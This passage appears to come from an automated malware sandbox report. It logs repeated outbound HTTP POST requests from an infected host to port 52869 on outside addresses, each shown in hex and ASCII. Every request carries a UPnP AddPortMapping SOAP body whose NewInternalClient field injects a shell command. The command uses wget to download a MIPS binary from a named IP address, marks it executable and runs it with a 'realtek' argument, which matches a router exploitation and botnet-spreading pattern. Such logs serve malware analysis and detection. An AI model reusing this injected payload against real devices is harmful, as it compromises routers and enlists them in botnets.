6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      103192.168.2.153715045.207.158.12852869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:55.405760050 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:59.545031071 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:05.688843012 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:17.720527887 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:42.043764114 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:31.190474033 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      104192.168.2.153855445.33.253.24152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:56.294433117 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
